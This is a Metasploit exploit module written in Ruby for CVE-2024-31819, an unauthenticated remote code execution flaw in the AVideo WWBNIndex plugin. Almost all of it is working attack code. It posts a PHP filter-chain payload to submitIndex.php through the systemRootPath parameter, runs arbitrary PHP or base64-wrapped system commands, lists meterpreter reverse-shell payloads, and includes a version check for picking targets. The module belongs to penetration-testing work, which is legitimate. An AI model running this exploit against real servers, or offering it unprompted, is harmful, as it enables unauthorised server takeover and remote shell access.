AVideo WWBNIndex Plugin Unauthenticated RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::PhpFilterChain
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'AVideo WWBNIndex Plugin Unauthenticated RCE',
        'Description' => %q{
          This module exploits an unauthenticated remote code execution (RCE) vulnerability
          in the WWBNIndex plugin of the AVideo platform. The vulnerability exists within the
          `submitIndex.php` file, where user-supplied input is passed directly to the `require()`
          function without proper sanitization. By exploiting this, an attacker can leverage the
          PHP filter chaining technique to execute arbitrary PHP code on the server. This allows
          for the execution of commands and control over the affected system. The exploit is
          particularly dangerous because it does not require authentication, making it possible
          for any remote attacker to exploit this vulnerability.
        },
        'Author' => [
          'Valentin Lobstein'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-31819'],
          ['URL', 'https://github.com/WWBN/AVideo'],
          ['URL', 'https://chocapikk.com/posts/2024/cve-2024-31819']
        ],
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix In-Memory',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows In-Memory',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2024-04-09',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        },
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443,
          'FETCH_WRITABLE_DIR' => '/tmp'
        }
      )
    )
  end

  def exploit
    php_code = "<?php #{target['Arch'] == ARCH_PHP ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));"} ?>"
    filter_payload = generate_php_filter_payload(php_code)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'plugin', 'WWBNIndex', 'submitIndex.php'),
      'ctype' => 'application/x-www-form-urlencoded',
      'data' => "systemRootPath=#{filter_payload}"
    )
    print_error("Server returned #{res.code}. Successful exploit attempts should not return a response.") if res&.code
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'follow_redirect' => true
    })
    return CheckCode::Unknown('Failed to connect to the target.') unless res
    return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200

    version_match = res.body.match(/Powered by AVideo ® Platform v([\d.]+)/) || res.body.match(/<!--.*?v:([\d.]+).*?-->/m)
    return CheckCode::Unknown('Unable to extract AVideo version.') unless version_match && version_match[1]

    version = Rex::Version.new(version_match[1])
    plugin_check = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'plugin', 'WWBNIndex', 'submitIndex.php'),
      'method' => 'GET'
    })
    unless plugin_check&.code == 200
      CheckCode::Safe('Vulnerable plugin WWBNIndex was not detected')
    end

    if version.between?(Rex::Version.new('12.4'), Rex::Version.new('14.2'))
      return CheckCode::Appears("Detected vulnerable AVideo version: #{version}, with vulnerable plugin WWBNIndex running.")
    end

    CheckCode::Safe("Detected non-vulnerable AVideo version: #{version}")
  end
end